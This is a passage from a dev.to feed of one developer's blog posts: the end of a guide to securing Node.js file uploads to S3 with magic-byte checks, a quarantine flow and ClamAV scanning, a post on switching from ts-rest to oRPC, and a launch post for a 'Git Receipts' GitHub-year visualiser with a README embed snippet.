&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;fileTypeFromBuffer&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;file-type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;validateImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fileTypeFromBuffer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;allowed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image/png&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image/jpeg&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;allowed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mime&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Unsupported file format&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You don't need to download the entire file just to check its signature.&lt;/p&gt;

&lt;p&gt;For supported formats, you can read a small part of the object using an S3 range request. The number of bytes needed depends on the format and detection library.&lt;/p&gt;

&lt;p&gt;But remember, &lt;strong&gt;valid magic bytes don't mean a file is safe&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A valid PDF or image can still contain harmful content or exploit a vulnerable file parser.&lt;/p&gt;

&lt;p&gt;That's why we need another layer.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Scan files before making them available
&lt;/h2&gt;

&lt;p&gt;This is the part I wouldn't skip.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Never make an uploaded file available to users before it passes validation and scanning.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Instead, use a quarantine system.&lt;/p&gt;

&lt;p&gt;Here's the flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client
  |
  | Request upload URL
  v
Node.js API
  |
  | Generate presigned URL
  v
Client
  |
  | Upload directly
  v
Private S3 Quarantine
  |
  | Storage event
  v
Background Worker
  |
  | Check file size
  | Check magic bytes
  | Scan with ClamAV
  |
  +-- Failed --&amp;gt; Reject
  |
  +-- Passed --&amp;gt; Approved Storage
                       |
                       v
                Available to User
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For malware scanning, we can use &lt;a href="https://www.clamav.net/" rel="noopener noreferrer"&gt;ClamAV&lt;/a&gt;, a free, open-source antivirus engine.&lt;/p&gt;

&lt;p&gt;A background worker can download or stream the quarantined object to the scanner.&lt;/p&gt;

&lt;p&gt;Here's a simplified example using the &lt;code&gt;clamscan&lt;/code&gt; package:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;NodeClam&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;clamscan&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;clam&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;NodeClam&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;clamdscan&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;clamav-service&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3310&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;scanFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;fileStream&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;NodeJS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ReadableStream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;clam&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;scanStream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fileStream&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;isInfected&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;File rejected&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This example only shows the scanning step. The worker still needs to retrieve the correct S3 object, validate it, handle failures, and update the database.&lt;/p&gt;

&lt;p&gt;If the scan fails, times out, or returns an unknown result, keep the file quarantined.&lt;/p&gt;

&lt;p&gt;Don't approve it automatically.&lt;/p&gt;

&lt;p&gt;Also, ClamAV reduces malware risk, but it cannot detect every possible threat.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Let background workers handle the heavy work
&lt;/h2&gt;

&lt;p&gt;Virus scanning can take time.&lt;/p&gt;

&lt;p&gt;You don't want users waiting for it inside an HTTP request.&lt;/p&gt;

&lt;p&gt;Instead, use a background queue like &lt;strong&gt;BullMQ&lt;/strong&gt; or &lt;strong&gt;AWS SQS&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;When S3 receives a file, a storage event can trigger a job.&lt;/p&gt;

&lt;p&gt;The worker validates the file, scans it, and updates its status.&lt;/p&gt;

&lt;p&gt;A simple database lifecycle could look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PENDING_UPLOAD
      |
      v
 QUARANTINED
      |
      v
   SCANNING
    /    \
   v      v
APPROVED REJECTED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The frontend can show "Processing your file" while scanning is in progress.&lt;/p&gt;

&lt;p&gt;Make sure workers can safely retry jobs and handle duplicate events.&lt;/p&gt;

&lt;p&gt;There's another important detail here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scan and approve the exact same object.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Otherwise, a file could be replaced after scanning but before approval.&lt;/p&gt;

&lt;p&gt;Use unique storage keys and object versioning or other controls that prevent an unscanned replacement from being published.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. A few security rules worth following
&lt;/h2&gt;

&lt;p&gt;Even with these three layers, I'd still add a few protections:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Limit file sizes.&lt;/strong&gt; Don't allow unlimited uploads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use random file names.&lt;/strong&gt; Generate UUID-based storage keys instead of trusting user-provided paths.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep storage private.&lt;/strong&gt; Approved files don't always need public URLs. Use authorized downloads when appropriate.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Limit upload requests.&lt;/strong&gt; Add authentication, rate limits, and storage quotas.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Protect against ZIP bombs.&lt;/strong&gt; Limit archive extraction size, file count, and nesting depth.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Serve files safely.&lt;/strong&gt; Use correct response headers and avoid serving risky user content from your application's main origin.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor failures.&lt;/strong&gt; Track rejected uploads, scanner errors, and unusual upload activity.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And one underrated point: don't expose your ClamAV service directly to the internet. Keep it accessible only to trusted workers.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final thoughts
&lt;/h2&gt;

&lt;p&gt;File uploads are easy to build, but securing them takes a little more thought.&lt;/p&gt;

&lt;p&gt;You don't need a complicated system from day one.&lt;/p&gt;

&lt;p&gt;Start with three things:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Presign:&lt;/strong&gt; Let clients upload directly to private object storage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Validate:&lt;/strong&gt; Check file size, format, and actual content instead of trusting filenames.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Scan:&lt;/strong&gt; Run malware checks in the background before making files available.&lt;/p&gt;

&lt;p&gt;These steps won't eliminate every security risk, but they'll give you a much safer foundation.&lt;/p&gt;

&lt;p&gt;The main thing I've learned is simple:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Uploading a file and trusting a file should be two different steps.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;How do you handle file uploads in your applications? Do you scan files before making them available, or use a different approach?&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;PS:&lt;/strong&gt; A reader pointed out a gap I missed: abandoned uploads.&lt;/p&gt;

&lt;p&gt;If a client's upload expires on a slow connection, it retries with a new key. The first file can stay in quarantine forever, because no scan ever runs for it.&lt;/p&gt;

&lt;p&gt;The fix is simple. Add an S3 lifecycle rule on the quarantine prefix that deletes anything older than a day. Also run a small scheduled job to expire old &lt;code&gt;PENDING_UPLOAD&lt;/code&gt; rows, so your database matches what's in the bucket.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lifecycle rules run in the background, so deletion can happen a little after the one-day mark.
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/using-presigned-url.html" rel="noopener noreferrer"&gt;AWS S3 Presigned URLs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-HTTPPOSTConstructPolicy.html" rel="noopener noreferrer"&gt;AWS S3 Presigned POST&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.clamav.net/" rel="noopener noreferrer"&gt;ClamAV Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP File Upload Cheat Sheet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>node</category>
      <category>security</category>
      <category>aws</category>
      <category>s3</category>
    </item>
    <item>
      <title>Why I Switched from ts-rest to oRPC</title>
      <dc:creator>Mohamed Ismail</dc:creator>
      <pubDate>Fri, 23 Oct 2026 07:30:32 +0000</pubDate>
      <link>https://dev.to/ihssmaheel/why-i-switched-from-ts-rest-to-orpc-3igf</link>
      <guid>https://dev.to/ihssmaheel/why-i-switched-from-ts-rest-to-orpc-3igf</guid>
      <description>&lt;p&gt;I've been using &lt;strong&gt;ts-rest&lt;/strong&gt; for a while, and I genuinely liked it.&lt;/p&gt;

&lt;p&gt;Contract-first APIs, end-to-end type safety, OpenAPI support, and a clean developer experience. It had pretty much everything I needed.&lt;/p&gt;

&lt;p&gt;But over time, I started having concerns about its maintenance. Development seemed to slow down, updates became less frequent, and I was looking for better Zod 4 support.&lt;/p&gt;

&lt;p&gt;It was still a good library, but I didn't want to start my next project with something I was already uncertain about.&lt;/p&gt;

&lt;p&gt;So I started looking for alternatives.&lt;/p&gt;

&lt;h2&gt;
  
  
  tRPC or oRPC?
&lt;/h2&gt;

&lt;p&gt;The two options that caught my attention were &lt;strong&gt;tRPC&lt;/strong&gt; and &lt;strong&gt;oRPC&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;tRPC is a solid choice. It's mature, has a great developer experience, and works really well with TypeScript and TanStack Query.&lt;/p&gt;

&lt;p&gt;But I wanted something more.&lt;/p&gt;

&lt;p&gt;I didn't want to give up OpenAPI. My backend might eventually serve a mobile app, a Python service, or external integrations.&lt;/p&gt;

&lt;p&gt;tRPC can support OpenAPI through additional tooling, but I wanted it to be a first-class feature.&lt;/p&gt;

&lt;p&gt;That's where &lt;strong&gt;oRPC&lt;/strong&gt; stood out.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I liked about oRPC
&lt;/h2&gt;

&lt;p&gt;After exploring the &lt;a href="https://orpc.dev/docs/comparison" rel="noopener noreferrer"&gt;official comparison&lt;/a&gt; and documentation, a few things caught my attention.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. RPC + OpenAPI&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Define procedures once and expose them through RPC or OpenAPI-compatible HTTP endpoints. No need to maintain two separate API implementations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Typed errors&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You can define expected errors and get proper TypeScript support when handling them on the client. Really useful when dealing with complex business logic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Better type support&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Types like &lt;code&gt;Date&lt;/code&gt;, &lt;code&gt;BigInt&lt;/code&gt;, &lt;code&gt;Map&lt;/code&gt;, &lt;code&gt;Set&lt;/code&gt;, and &lt;code&gt;URL&lt;/code&gt; work through its RPC serialization without requiring additional transformers. It also supports &lt;code&gt;File&lt;/code&gt; and &lt;code&gt;Blob&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Streaming&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Built-in support for typed Server-Sent Events and streaming responses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Good integrations&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Works with TanStack Query, NestJS, Next.js, OpenTelemetry, and more.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Performance&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The official benchmarks show some impressive results, including roughly 4x the throughput of tRPC in certain scenarios.&lt;/p&gt;

&lt;p&gt;Of course, benchmarks don't represent every real-world application, but they're still interesting.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why I made the switch
&lt;/h2&gt;

&lt;p&gt;My requirements were simple.&lt;/p&gt;

&lt;p&gt;I wanted the smooth developer experience of RPC, proper OpenAPI support, typed errors, and the flexibility to build APIs for different clients.&lt;/p&gt;

&lt;p&gt;I also liked that oRPC supports contract-first development, something I appreciated about ts-rest.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;oRPC gave me the combination I was looking for.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That doesn't mean it's better for everyone.&lt;/p&gt;

&lt;p&gt;tRPC is still excellent for TypeScript-only applications, and ts-rest remains a good option for REST-first, contract-driven APIs.&lt;/p&gt;

&lt;p&gt;I wouldn't recommend migrating a working application just because another library has more features.&lt;/p&gt;

&lt;p&gt;But for my new project, oRPC made more sense.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final thoughts
&lt;/h2&gt;

&lt;p&gt;I didn't switch because ts-rest was bad or because oRPC was newer.&lt;/p&gt;

&lt;p&gt;I switched because my requirements had changed, and oRPC felt like a better fit.&lt;/p&gt;

&lt;p&gt;I'm still exploring how it holds up as my projects grow, but so far, I like the direction.&lt;/p&gt;

&lt;p&gt;If you're evaluating TypeScript API libraries, I'd recommend checking out &lt;a href="https://orpc.dev/" rel="noopener noreferrer"&gt;oRPC&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Have you tried oRPC in production? I'd love to hear your experience, especially any limitations you've encountered.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>typescript</category>
      <category>node</category>
      <category>webdev</category>
      <category>opensource</category>
    </item>
    <item>
      <title>I Built a Receipt Printer for Your GitHub Year 🧾</title>
      <dc:creator>Mohamed Ismail</dc:creator>
      <pubDate>Fri, 09 Oct 2026 12:17:46 +0000</pubDate>
      <link>https://dev.to/ihssmaheel/i-built-a-receipt-printer-for-your-github-year-21jk</link>
      <guid>https://dev.to/ihssmaheel/i-built-a-receipt-printer-for-your-github-year-21jk</guid>
      <description>&lt;p&gt;Press a button. A tiny printer warms up. Paper slides out, and your entire GitHub year lands in your hands as a receipt.&lt;/p&gt;

&lt;p&gt;That's &lt;strong&gt;Git Receipts&lt;/strong&gt;, and you can print yours in about ten seconds.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3u82czecmueuw890tp0w.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3u82czecmueuw890tp0w.gif" alt="Git Receipts printer feeding a receipt" width="479" height="321"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://git-receipts.vercel.app" rel="noopener noreferrer"&gt;Print your GitHub year →&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No sign-in needed. Enter any public GitHub username: your own, a friend's, or a developer you admire.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This is project #1 in &lt;strong&gt;Beyond the Green Squares&lt;/strong&gt;, a series where I turn GitHub activity into fun things you can try and keep.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  How it works
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Enter a GitHub username or profile link&lt;/li&gt;
&lt;li&gt;Pick a year&lt;/li&gt;
&lt;li&gt;Press &lt;strong&gt;FEED&lt;/strong&gt; and watch it print&lt;/li&gt;
&lt;li&gt;Save it, share it, or print it on real paper&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwx9c0bwyya1x5y4xli9n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwx9c0bwyya1x5y4xli9n.png" alt="The finished receipt" width="800" height="2120"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a receipt?
&lt;/h2&gt;

&lt;p&gt;Everyone knows what a receipt looks like: a narrow strip of paper, neat rows, dashed lines, and a bold total at the bottom.&lt;/p&gt;

&lt;p&gt;It fits a year of GitHub activity surprisingly well. Your contributions become the total. Active days and streaks become small details you can scan at a glance.&lt;/p&gt;

&lt;p&gt;And there's something satisfying about it. You press a button, wait for the machine, and get a little object at the end. I wanted that moment to be part of the experience.&lt;/p&gt;

&lt;h2&gt;
  
  
  A printer that feels like a printer
&lt;/h2&gt;

&lt;p&gt;I didn't want a box with rounded corners. The machine has an off-white body, a dark top deck, a paper slot, status lights, and a FEED button that clicks into place.&lt;/p&gt;

&lt;p&gt;The motion matters just as much. Paper has to emerge from the slot, feed through, and get cut at the end. If it floats, the magic is gone.&lt;/p&gt;

&lt;p&gt;If you prefer reduced motion, it skips the animation and shows your finished receipt. Sound is off by default.&lt;/p&gt;

&lt;h2&gt;
  
  
  The numbers stay honest
&lt;/h2&gt;

&lt;p&gt;The design is playful. The data is not.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No guessing.&lt;/strong&gt; If GitHub doesn't provide a number, it's left off the receipt instead of being estimated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Samples are labeled.&lt;/strong&gt; The demo receipt on the landing page is clearly marked as a sample.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nothing borrowed.&lt;/strong&gt; If a lookup fails, you see an unavailable message, never someone else's activity.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One more honest note: a contribution count can't capture everything. Reading, planning, learning, and time away from the keyboard all count as real work. The receipt is a keepsake of reported activity, not a measure of you.&lt;/p&gt;

&lt;h2&gt;
  
  
  Take it with you
&lt;/h2&gt;

&lt;p&gt;When printing finishes, your receipt opens in a full-size viewer. Scroll through it, then keep it however you like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PNG&lt;/strong&gt; to share&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PDF&lt;/strong&gt; to print on paper&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SVG&lt;/strong&gt; and &lt;strong&gt;plain text&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;README embed&lt;/strong&gt; to show it on your GitHub profile&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa0zueoam3dltcwfcth5a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa0zueoam3dltcwfcth5a.png" alt="Receipt with the achievement stamp" width="105" height="97"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hit a milestone and your receipt gets an achievement stamp, pressed onto the paper like the real thing. Every receipt also carries a QR code that leads back to it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Put it on your GitHub profile
&lt;/h2&gt;

&lt;p&gt;Your receipt can live in your profile README, and it follows light and dark mode automatically. Click it and it opens your receipt on Git Receipts.&lt;/p&gt;

&lt;p&gt;&lt;/p&gt;
  Copy the README snippet
  &lt;br&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"https://git-receipts.vercel.app/?user=YOUR_USERNAME&amp;amp;amp;year=2026&amp;amp;amp;stamp=true"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;picture&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;source&lt;/span&gt; &lt;span class="na"&gt;media=&lt;/span&gt;&lt;span class="s"&gt;"(prefers-color-scheme: dark)"&lt;/span&gt; &lt;span class="na"&gt;srcset=&lt;/span&gt;&lt;span class="s"&gt;"https://git-receipts.vercel.app/api/receipt.svg?year=2026&amp;amp;amp;stamp=true&amp;amp;amp;user=YOUR_USERNAME&amp;amp;amp;theme=dark"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://git-receipts.vercel.app/api/receipt.svg?year=2026&amp;amp;amp;stamp=true&amp;amp;amp;user=YOUR_USERNAME&amp;amp;amp;theme=light"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"YOUR_USERNAME's 2026 GitHub contribution receipt"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/picture&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Replace &lt;code&gt;YOUR_USERNAME&lt;/code&gt; in all three places with your GitHub username, and change the year if you want a different one.&lt;/p&gt;



&lt;p&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Your turn 👀
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://git-receipts.vercel.app" rel="noopener noreferrer"&gt;Print your GitHub year →&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Then tell me what caught your eye: your total, your longest streak, or a month you'd completely forgotten about. Add it to your profile README, post your receipt, and tag me. I'd love to see it.&lt;/p&gt;

&lt;p&gt;And if you have a unique idea for turning GitHub activity into something worth keeping, drop it in the comments. The best ones might become the next post in &lt;strong&gt;Beyond the Green Squares&lt;/strong&gt;, and we'll build it together.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What should we build next?&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>github</category>
      <category>showdev</category>
      <category>webdev</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Beyond the Green Squares: Turning GitHub Activity Into Things Worth Keeping</title>
      <dc:creator>Mohamed Ismail</dc:creator>
      <pubDate>Fri, 09 Oct 2026 12:15:44 +0000</pubDate>
